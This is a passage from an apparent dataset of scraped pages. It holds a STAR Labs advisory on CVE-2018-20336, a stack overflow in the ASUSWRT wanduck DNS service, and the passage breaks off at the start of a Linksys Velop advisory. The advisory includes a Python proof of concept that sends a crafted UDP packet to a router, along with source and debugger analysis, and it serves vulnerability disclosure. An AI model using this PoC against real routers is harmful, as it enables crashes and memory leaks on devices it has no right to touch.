Response\">Vendor Response</a>\r\n                </li>\r\n            </ul>\r\n        </div>\r\n    </details>\r\n</div>\r\n\r\n  <div class=\"post-content\"><p><strong>CVE</strong>: CVE-2018-20336</p>\r\n<p><strong>Tested Versions</strong>: ASUSWRT 3.0.0.4.384.20308 (2018/02/01)</p>\r\n<p><strong>Product URL(s)</strong>: <a href=\"https://www.asus.com/us/ASUSWRT/\">https://www.asus.com/us/ASUSWRT/</a></p>\r\n<p><strong>ASUSWRT</strong> is the firmware that is shipped with modern ASUS routers. \r\nASUSWRT has a web-based interface, so it doesn&rsquo;t need a separate app, or restrict what you can change via mobile devices &ndash; you get full access to everything, from any device that can run a web browser.</p>\r\n<h1 id=\"vulnerability\">Vulnerability<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#vulnerability\">#</a></h1>\r\n<p>There is a stack overflow issue in <em><strong>parse_req_queries</strong></em> function in <em><strong>wanduck.c</strong></em>, \r\nwhich may lead to information leak.</p>\r\n<h2 id=\"poc\">PoC<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#poc\">#</a></h2>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-python\" data-lang=\"python\"><span class=\"line\"><span class=\"cl\"><span class=\"kn\">from</span> <span class=\"nn\">socket</span> <span class=\"kn\">import</span> <span class=\"o\">*</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">HOST</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;192.168.50.1&#39;</span>  \r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">PORT</span> <span class=\"o\">=</span> <span class=\"mi\">18018</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">BUFSIZE</span> <span class=\"o\">=</span> <span class=\"mi\">4096</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">ADDR</span> <span class=\"o\">=</span> <span class=\"p\">(</span><span class=\"n\">HOST</span><span class=\"p\">,</span> <span class=\"n\">PORT</span><span class=\"p\">)</span>  \r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">udpCliSock</span> <span class=\"o\">=</span> <span class=\"n\">socket</span><span class=\"p\">(</span><span class=\"n\">AF_INET</span><span class=\"p\">,</span> <span class=\"n\">SOCK_DGRAM</span><span class=\"p\">)</span>   \r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"s2\">&#34;A&#34;</span><span class=\"o\">*</span><span class=\"mi\">2046</span><span class=\"o\">+</span><span class=\"s2\">&#34;</span><span class=\"se\">\\x00</span><span class=\"s2\">F&#34;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">udpCliSock</span><span class=\"o\">.</span><span class=\"n\">sendto</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">,</span><span class=\"n\">ADDR</span><span class=\"p\">)</span>  \r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">data</span><span class=\"p\">,</span><span class=\"n\">ADDR</span> <span class=\"o\">=</span> <span class=\"n\">udpCliSock</span><span class=\"o\">.</span><span class=\"n\">recvfrom</span><span class=\"p\">(</span><span class=\"n\">BUFSIZE</span><span class=\"p\">)</span>  \r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"k\">if</span> <span class=\"n\">data</span><span class=\"p\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"nb\">print</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">)</span>  \r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">udpCliSock</span><span class=\"o\">.</span><span class=\"n\">close</span><span class=\"p\">()</span>\r\n</span></span></code></pre></div><p>Wanduck is a program that listens on TCP 18017 and UDP 18018.  Port 18017 is most likely a HTTP server and 18018 is most likely a DNS server.  The HTTP server on port 18017 will redirect HTTP request to the 80 port and the DNS server will process the dns request packet.</p>\r\n<p>The file <code>wanduck.c</code>  can be found under the <code>src/rc/</code> directory is the provided ASUSWRT source code.  We are going to have a look at the main function <em><strong>wanduck_main</strong></em>, this is the entry of the main program.  <em><strong>run_dns_serv</strong></em> function is the entry to receive packet from port 18018, we will check the code from this function, the source is like below:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-C\" data-lang=\"C\"><span class=\"line\"><span class=\"cl\"><span class=\"kt\">void</span> <span class=\"nf\">run_dns_serv</span><span class=\"p\">(</span><span class=\"kt\">int</span> <span class=\"n\">sockfd</span><span class=\"p\">){</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"kt\">int</span> <span class=\"n\">n</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"kt\">char</span> <span class=\"n\">line</span><span class=\"p\">[</span><span class=\"n\">MAXLINE</span><span class=\"p\">];</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"k\">struct</span> <span class=\"n\">sockaddr_in</span> <span class=\"n\">cliaddr</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"kt\">int</span> <span class=\"n\">clilen</span> <span class=\"o\">=</span> <span class=\"k\">sizeof</span><span class=\"p\">(</span><span class=\"n\">cliaddr</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"n\">memset</span><span class=\"p\">(</span><span class=\"n\">line</span><span class=\"p\">,</span> <span class=\"mi\">0</span><span class=\"p\">,</span> <span class=\"n\">MAXLINE</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"n\">memset</span><span class=\"p\">(</span><span class=\"o\">&amp;</span><span class=\"n\">cliaddr</span><span class=\"p\">,</span> <span class=\"mi\">0</span><span class=\"p\">,</span> <span class=\"n\">clilen</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"k\">if</span><span class=\"p\">((</span><span class=\"n\">n</span> <span class=\"o\">=</span> <span class=\"n\">recvfrom</span><span class=\"p\">(</span><span class=\"n\">sockfd</span><span class=\"p\">,</span> <span class=\"n\">line</span><span class=\"p\">,</span> <span class=\"n\">MAXLINE</span><span class=\"p\">,</span> <span class=\"mi\">0</span><span class=\"p\">,</span> <span class=\"p\">(</span><span class=\"k\">struct</span> <span class=\"n\">sockaddr</span> <span class=\"o\">*</span><span class=\"p\">)</span><span class=\"o\">&amp;</span><span class=\"n\">cliaddr</span><span class=\"p\">,</span> <span class=\"p\">(</span><span class=\"n\">socklen_t</span> <span class=\"o\">*</span><span class=\"p\">)</span><span class=\"o\">&amp;</span><span class=\"n\">clilen</span><span class=\"p\">))</span> <span class=\"o\">==</span> <span class=\"mi\">0</span><span class=\"p\">)</span>\t<span class=\"c1\">// client close\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"></span>\t\t<span class=\"k\">return</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"k\">else</span> <span class=\"k\">if</span><span class=\"p\">(</span><span class=\"n\">n</span> <span class=\"o\">&lt;</span> <span class=\"mi\">0</span><span class=\"p\">){</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t\t<span class=\"n\">perror</span><span class=\"p\">(</span><span class=\"s\">&#34;wanduck serv dns&#34;</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t\t<span class=\"k\">return</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"k\">else</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t\t<span class=\"n\">handle_dns_req</span><span class=\"p\">(</span><span class=\"n\">sockfd</span><span class=\"p\">,</span> <span class=\"n\">line</span><span class=\"p\">,</span> <span class=\"n\">n</span><span class=\"p\">,</span> <span class=\"p\">(</span><span class=\"k\">struct</span> <span class=\"n\">sockaddr</span> <span class=\"o\">*</span><span class=\"p\">)</span><span class=\"o\">&amp;</span><span class=\"n\">cliaddr</span><span class=\"p\">,</span> <span class=\"n\">clilen</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}</span>\r\n</span></span></code></pre></div><p><em><strong>MAXLINE</strong></em> is defined in <strong>wanduck.h</strong> with the value of 2048,  so this function will first receive a max buffer of 2048 bytes from the sender, and then <strong>handle_dns_req</strong> will process the DNS request packet. A variable <em><strong>reply_content</strong></em> is defined at the begining of the <strong>handle_dns_req</strong> function like below:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-C\" data-lang=\"C\"><span class=\"line\"><span class=\"cl\"><span class=\"kt\">void</span> <span class=\"nf\">handle_dns_req</span><span class=\"p\">(</span><span class=\"kt\">int</span> <span class=\"n\">sfd</span><span class=\"p\">,</span> <span class=\"kt\">char</span> <span class=\"o\">*</span><span class=\"n\">line</span><span class=\"p\">,</span> <span class=\"kt\">int</span> <span class=\"n\">maxlen</span><span class=\"p\">,</span> <span class=\"k\">struct</span> <span class=\"n\">sockaddr</span> <span class=\"o\">*</span><span class=\"n\">pcliaddr</span><span class=\"p\">,</span> <span class=\"kt\">int</span> <span class=\"n\">clen</span><span class=\"p\">){</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"n\">dns_query_packet</span> <span class=\"n\">d_req</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"n\">dns_response_packet</span> <span class=\"n\">d_reply</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"kt\">int</span> <span class=\"n\">reply_size</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"kt\">char</span> <span class=\"n\">reply_content</span><span class=\"p\">[</span><span class=\"n\">MAXLINE</span><span class=\"p\">];</span>\r\n</span></span></code></pre></div><p>As we can see here, <strong>reply_content</strong> is designed to have a max size of 2048 bytes.  After process is intialized in <strong>handle_dns_req</strong>, the dns request packet will be passed to <strong>parse_req_queries</strong> function, this function accepts 4 parameters:</p>\r\n<ul>\r\n<li><code>char *content</code>, stands for the reply(dns response) content</li>\r\n<li><code>char *lp</code>, stands for the DNS Question part</li>\r\n<li><code>int len</code>, stands for the length of the DNS Question part (a max of 2048-len(dns request header))</li>\r\n<li><code>int *reply_size</code>, pointer to the reply packet size</li>\r\n</ul>\r\n<p>Let&rsquo;s check this function, the whole function code is as below:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-C\" data-lang=\"C\"><span class=\"line\"><span class=\"cl\"><span class=\"kt\">void</span> <span class=\"nf\">parse_req_queries</span><span class=\"p\">(</span><span class=\"kt\">char</span> <span class=\"o\">*</span><span class=\"n\">content</span><span class=\"p\">,</span> <span class=\"kt\">char</span> <span class=\"o\">*</span><span class=\"n\">lp</span><span class=\"p\">,</span> <span class=\"kt\">int</span> <span class=\"n\">len</span><span class=\"p\">,</span> <span class=\"kt\">int</span> <span class=\"o\">*</span><span class=\"n\">reply_size</span><span class=\"p\">){</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"kt\">int</span> <span class=\"n\">i</span><span class=\"p\">,</span> <span class=\"n\">rn</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"n\">rn</span> <span class=\"o\">=</span> <span class=\"o\">*</span><span class=\"p\">(</span><span class=\"n\">reply_size</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"k\">for</span><span class=\"p\">(</span><span class=\"n\">i</span> <span class=\"o\">=</span> <span class=\"mi\">0</span><span class=\"p\">;</span> <span class=\"n\">i</span> <span class=\"o\">&lt;</span> <span class=\"n\">len</span><span class=\"p\">;</span> <span class=\"o\">++</span><span class=\"n\">i</span><span class=\"p\">){</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t\t<span class=\"n\">content</span><span class=\"p\">[</span><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">lp</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">];</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t\t<span class=\"k\">if</span><span class=\"p\">(</span><span class=\"n\">lp</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">]</span> <span class=\"o\">==</span> <span class=\"mi\">0</span><span class=\"p\">){</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t\t\t<span class=\"o\">++</span><span class=\"n\">i</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t\t\t<span class=\"k\">break</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t\t<span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"p\">}</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"k\">if</span><span class=\"p\">(</span><span class=\"n\">i</span> <span class=\"o\">&gt;=</span> <span class=\"n\">len</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t\t<span class=\"k\">return</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"n\">content</span><span class=\"p\">[</span><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">lp</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">];</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"n\">content</span><span class=\"p\">[</span><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">lp</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"p\">];</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"n\">content</span><span class=\"p\">[</span><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">2</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">lp</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">2</span><span class=\"p\">];</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"n\">content</span><span class=\"p\">[</span><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">3</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">lp</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">3</span><span class=\"p\">];</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"n\">i</span> <span class=\"o\">+=</span> <span class=\"mi\">4</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\t<span class=\"o\">*</span><span class=\"n\">reply_size</span> <span class=\"o\">+=</span> <span class=\"n\">i</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}</span>\r\n</span></span></code></pre></div><p>Obviously, there is a stack overflow in the function: let&rsquo;s assume there is a NULL(\\x00) at the second-to-last of  <em><strong>lp</strong></em> buffer, then the <em><strong>for</strong></em> loop will ended and <em><strong>i</strong></em> will be added with 1. There is a judgement to check whether <em><strong>i</strong></em> is larger than <em><strong>len</strong></em>, but this check is not enough. Let&rsquo;s assume <em><strong>i</strong></em> equals to <em><strong>len-1</strong></em>, then the following code will be executed:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-C\" data-lang=\"C\"><span class=\"line\"><span class=\"cl\"><span class=\"n\">content</span><span class=\"p\">[</span><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">lp</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">];</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">content</span><span class=\"p\">[</span><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">lp</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"p\">];</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">content</span><span class=\"p\">[</span><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">2</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">lp</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">2</span><span class=\"p\">];</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">content</span><span class=\"p\">[</span><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">3</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"n\">lp</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">3</span><span class=\"p\">];</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">i</span> <span class=\"o\">+=</span> <span class=\"mi\">4</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"o\">*</span><span class=\"n\">reply_size</span> <span class=\"o\">+=</span> <span class=\"n\">i</span><span class=\"p\">;</span>\r\n</span></span></code></pre></div><p>As we have said, <em><strong>rn</strong></em> points to the reply packet size and this value, in this case, the <em><strong>rn</strong></em> passed to this function is the length of DNS Request Header. Then,</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-C\" data-lang=\"C\"><span class=\"line\"><span class=\"cl\"><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">i</span> <span class=\"o\">==</span> <span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">len</span><span class=\"o\">-</span><span class=\"mi\">1</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"o\">==</span><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">len</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">2</span><span class=\"o\">==</span><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">len</span><span class=\"o\">+</span><span class=\"mi\">1</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">3</span><span class=\"o\">==</span><span class=\"n\">rn</span><span class=\"o\">+</span><span class=\"n\">len</span><span class=\"o\">+</span><span class=\"mi\">2</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">i</span><span class=\"o\">+</span><span class=\"mi\">4</span><span class=\"o\">==</span><span class=\"n\">len</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"o\">+</span><span class=\"mi\">4</span><span class=\"o\">==</span><span class=\"n\">len</span><span class=\"o\">+</span><span class=\"mi\">3</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">reply_size</span><span class=\"o\">=</span> <span class=\"n\">len</span><span class=\"p\">(</span><span class=\"n\">dns</span> <span class=\"n\">header</span><span class=\"p\">)</span><span class=\"o\">+</span><span class=\"n\">len</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"o\">+</span><span class=\"mi\">4</span>\r\n</span></span></code></pre></div><p>So this will casuse an Out of bound write problem, and also, this will also cause information leak, for the reply_size is greater than 0x800(2048) bytes.</p>\r\n<p>Let&rsquo;s debug the wanduck process dynamically, we will use the PoC we provied.</p>\r\n<p><em><strong>sub_7D218</strong></em> is the <em><strong>handle_dns_req</strong></em> function, and <em><strong>sub_7D0F8</strong></em> is the <em><strong>parse_req_queries</strong></em> function. We first set a breakpoint at the line where <em><strong>parse_req_queries</strong></em> is called:</p>\r\n<p><img loading=\"lazy\" src=\"/advisories/18/images/18-20336-01.png\" alt=\"\"  />\r\n</p>\r\n<p>Then we run our PoC code, and the program will break at line 63, and then we will follow the code and see what happens.</p>\r\n<p><img loading=\"lazy\" src=\"/advisories/18/images/18-20336-02.png\" alt=\"\"  />\r\n</p>\r\n<p><em><strong>a3</strong></em> is <em><strong>len</strong></em> in source code, and in our case this value is 0x7F4 because the DNS header is 0xC, so the value is 0x800-0xC=0x7F4. Since the second-to-last byte in our PoC is &ldquo;<em><strong>\\x00</strong></em>&rdquo;, so line 20 will be hit when <strong>v4</strong> is 0x7F3, since <em><strong>0x7F3</strong></em> is less than 0x7F4, then line 22 to line 30 will be executed.</p>\r\n<p><img loading=\"lazy\" src=\"/advisories/18/images/18-20336-03.png\" alt=\"\"  />\r\n</p>\r\n<p><em><strong>result</strong></em> in our case is at 0xBE85A71C, from the source code we know its size is 0x800, so the end address of <em><strong>result</strong></em> is at 0xBE85AF1C, when line 26 is executed, <em><strong>result</strong></em> will be 0xBE85AF1B, so line 28 and line 29 will cause a buffer overflow.</p>\r\n<p><img loading=\"lazy\" src=\"/advisories/18/images/18-20336-04.png\" alt=\"\"  />\r\n</p>\r\n<p>What&rsquo;s more, the <em><strong>reply_size</strong></em> will be 0x7F4+0xC+0x3=<strong>0x803</strong>, at the end of <em><strong>handle_dns_req</strong></em> , <em><strong>reply_size</strong></em> will also add 0x10(sizeof(d_reply.answers)), so the final reply_size will be <em><strong>0x813</strong></em>. It is larger than 0x800, which will cause an information leak.</p>\r\n<h1 id=\"timeline\">Timeline<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#timeline\">#</a></h1>\r\n<ul>\r\n<li>2019-02-19 Vendor disclosure</li>\r\n<li>2019-02-25 Vendor acknowledged</li>\r\n<li>2019-03-29 Firmware update released</li>\r\n</ul>\r\n<h1 id=\"vendor-response\">Vendor Response<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#vendor-response\">#</a></h1>\r\n<p>The vendor has acknowledged the issue and released a new firmware update to address this vulnerability.</p>\r\n<p>The updated firmware can be downloaded from the <strong>Support</strong> section of a particular router that runs ASUSWRT,\r\nsuch as <a href=\"https://www.asus.com/Networking/RTAC68U/HelpDesk_Download/\">https://www.asus.com/Networking/RTAC68U/HelpDesk_Download/</a>.</p>\r\n<p>The update description lists both issues <strong>CVE-2018-20334</strong> and <strong>CVE-2018-20336</strong> discovered by STAR Labs as fixed.</p>\r\n\r\n\r\n  </div>\r\n\r\n  <footer class=\"post-footer\">\r\n    <ul class=\"post-tags\">\r\n    </ul>\r\n<nav class=\"paginav\">\r\n  <a class=\"prev\" href=\"https://starlabs.sg/advisories/18/18-20335/\">\r\n    <span class=\"title\">« Prev</span>\r\n    <br>\r\n    <span>(CVE-2018-20335) ASUSWRT Denial of Service of HTTP Service</span>\r\n  </a>\r\n  <a class=\"next\" href=\"https://starlabs.sg/advisories/19/19-16340/\">\r\n    <span class=\"title\">Next »</span>\r\n    <br>\r\n    <span>(CVE-2019-16340) Linksys Velop Authentication Bypass</span>\r\n  </a>\r\n</nav>\r\n\r\n  </footer>\r\n</article>\r\n    </main>\r\n    \r\n<footer class=\"footer\">\r\n    <span>&copy; 2024 <a href=\"https://starlabs.sg/\">STAR Labs</a></span>\r\n    <span>\r\n        Powered by\r\n        <a href=\"https://gohugo.io/\" rel=\"noopener noreferrer\" target=\"_blank\">Hugo</a> &\r\n        <a href=\"https://git.io/hugopapermod\" rel=\"noopener\" target=\"_blank\">PaperMod</a>\r\n    </span>\r\n</footer>\r\n<a href=\"#top\" aria-label=\"go to top\" title=\"Go to Top (Alt + G)\" class=\"top-link\" id=\"top-link\" accesskey=\"g\">\r\n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 12 6\" fill=\"currentColor\">\r\n        <path d=\"M12 6H0l6-6z\" />\r\n    </svg>\r\n</a>\r\n\r\n<script>\r\n    let menu = document.getElementById('menu')\r\n    if (menu) {\r\n        menu.scrollLeft = localStorage.getItem(\"menu-scroll-position\");\r\n        menu.onscroll = function () {\r\n            localStorage.setItem(\"menu-scroll-position\", menu.scrollLeft);\r\n        }\r\n    }\r\n\r\n    document.querySelectorAll('a[href^=\"#\"]').forEach(anchor => {\r\n        anchor.addEventListener(\"click\", function (e) {\r\n            e.preventDefault();\r\n            var id = this.getAttribute(\"href\").substr(1);\r\n            if (!window.matchMedia('(prefers-reduced-motion: reduce)').matches) {\r\n                document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView({\r\n                    behavior: \"smooth\"\r\n                });\r\n            } else {\r\n                document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView();\r\n            }\r\n            if (id === \"top\") {\r\n                history.replaceState(null, null, \" \");\r\n            } else {\r\n                history.pushState(null, null, `#${id}`);\r\n            }\r\n        });\r\n    });\r\n\r\n</script>\r\n<script>\r\n    var mybutton = document.getElementById(\"top-link\");\r\n    window.onscroll = function () {\r\n        if (document.body.scrollTop > 800 || document.documentElement.scrollTop > 800) {\r\n            mybutton.style.visibility = \"visible\";\r\n            mybutton.style.opacity = \"1\";\r\n        } else {\r\n            mybutton.style.visibility = \"hidden\";\r\n            mybutton.style.opacity = \"0\";\r\n        }\r\n    };\r\n\r\n</script>\r\n</body>\r\n\r\n</html>\r\n"
  },
  {
    "path": "task1_source_code/test_examples/251.txt",
    "content": "\r\n<!DOCTYPE html>\r\n<html lang=\"en\" dir=\"auto\">\r\n\r\n<head><meta charset=\"utf-8\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\r\n<meta name=\"robots\" content=\"index, follow\">\r\n<title>(CVE-2019-16340) Linksys Velop Authentication Bypass | STAR Labs</title>\r\n<meta name=\"keywords\" content=\"\">\r\n<meta name=\"description\" content=\"CVE: CVE-2019-16340\r\nTested Versions:\r\n Linksys Velop 1.1.2.185309  Product URL(s): https://www.linksys.com/us/velop/\r\nVelop is a WHOLE HOMEMESH Wi-Fi system from LINKSYS. It allows users to enjoy fast, nonstop Wi-Fi everywhere with Velop’s modular easy-to-use Wi-Fi Mesh system.\r\nThere are three categories from their official site: WHW0303, WHW0302, WHW0301.\r\nThe differences between these three are the pack count: 1, 2 or 3. The system is the same.\r\nVulnerability There are many information leak problems; one of them is through /sysinfo_json.\">\r\n<meta name=\"author\" content=\"Shi Ji (@Puzzorsj)\">\r\n<link rel=\"canonical\" href=\"https://starlabs.sg/advisories/19/19-16340/\">\r\n<link crossorigin=\"anonymous\" href=\"/assets/css/stylesheet.min.ec8da366ca2fb647537ccb7a8f6fa5b4e9cd3c7a0d3171dd2d3baad1e49c8bfc.css\" integrity=\"sha256-7I2jZsovtkdTfMt6j2&#43;ltOnNPHoNMXHdLTuq0eSci/w=\" rel=\"preload stylesheet\" as=\"style\">\r\n<script defer crossorigin=\"anonymous\" src=\"/assets/js/highlight.min.2840b7fccd34145847db71a290569594bdbdb00047097f75d6495d162f5d7dff.js\" integrity=\"sha256-KEC3/M00FFhH23GikFaVlL29sABHCX911kldFi9dff8=\"\r\n    onload=\"hljs.initHighlightingOnLoad();\"></script>\r\n<link rel=\"icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"apple-touch-icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"mask-icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<meta name=\"theme-color\" content=\"#2e2e33\">\r\n<meta name=\"msapplication-TileColor\" content=\"#2e2e33\">\r\n<noscript>\r\n    <style>\r\n        #theme-toggle,\r\n        .top-link {\r\n            display: none;\r\n        }\r\n\r\n    </style>\r\n</noscript>\r\n<script async src=\"https://www.googletagmanager.com/gtag/js?id=G-0F9M1FRFWQ\"></script>\r\n<script>\r\nvar doNotTrack = false;\r\nif (!doNotTrack) {\r\n\twindow.dataLayer = window.dataLayer || [];\r\n\tfunction gtag(){dataLayer.push(arguments);}\r\n\tgtag('js', new Date());\r\n\tgtag('config', 'G-0F9M1FRFWQ', { 'anonymize_ip': false });\r\n}\r\n</script>\r\n<meta property=\"og:title\" content=\"(CVE-2019-16340) Linksys Velop Authentication Bypass\" />\r\n<meta property=\"og:description\" content=\"CVE: CVE-2019-16340\r\nTested Versions:\r\n Linksys Velop 1.1.2.185309  Product URL(s): https://www.linksys.com/us/velop/\r\nVelop is a WHOLE HOMEMESH Wi-Fi system from LINKSYS. It allows users to enjoy fast, nonstop 